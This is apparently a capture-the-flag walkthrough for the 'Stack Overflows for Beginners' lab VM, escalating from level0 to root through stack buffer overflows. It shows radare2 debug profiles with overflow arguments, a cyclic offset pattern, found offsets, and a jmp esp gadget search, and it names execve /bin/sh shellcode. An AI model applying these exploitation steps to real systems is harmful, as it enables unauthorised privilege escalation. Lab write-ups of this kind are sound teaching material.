Stack Overflows for Beginners: 1.0.1 Walkthrough

reference	Stack Overflows for Beginners: 1.0.1
target ip	192.168.1.31

Open a bind shell to make the screen larger, since SSH is not started in the target:

levelOne

/home/level0/levelOne.c strcpy:

Load the program with r2:

r2 -d ./levelOne -e dbg.profile=levelOne.rr2 -A

levelOne.rr2

#!/usr/bin/rarun2
program=./levelOne
# len: 36
arg1=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

After variable key has been assigned:

After strcpy:

Before cmp:

Escalate from user level0 to user level1:

levelTwo

sym.spawn

dcu sym.hello, db at leave:

leave

mov esp, ebp
pop ebp

Return address is located at ebp+4, so before ret:

Step one instruction:

execve

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);

/home/level1/levelTwo.rr2:

Escalete from user level1 to user level2:

levelThree

Determine offset:

levelThree.rr2

#!/usr/bin/rarun2
program=./levelThree
arg1=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

Before ret of sym.overflow, which reveals the offset is 268:

checksec with slimm609/checksec.sh:

Find jmp esp in /lib32/libc.so.6:

objdump -D /lib32/libc.so.6 | grep "ff e4"

The base address of libc from ldd is wrong.

Use LD_TRACE_LOADED_OBJECTS:

Or r2 instead:

Add shellcode to levelThree.rr2, which is included in Linux/x86 - execve /bin/sh Shellcode (25 bytes) Walkthrough:

Escalate from user level2 to user level3:

levelFour

Offset is 28.
The return address and shellcode is same as levelThree.

levelFour.rr2:

Escalate from user level3 to user level4:

levelFive

Offset is 16.

levelFive.rr2

#!/usr/bin/rarun2
program=./levelFive
stdin=./input.txt

Exploit Development - GETS and Shellcode.
setresuid (or just setuid) with Linux/x86 - stdin re-open and /bin/sh execute:

Escalate from user level4 to user root: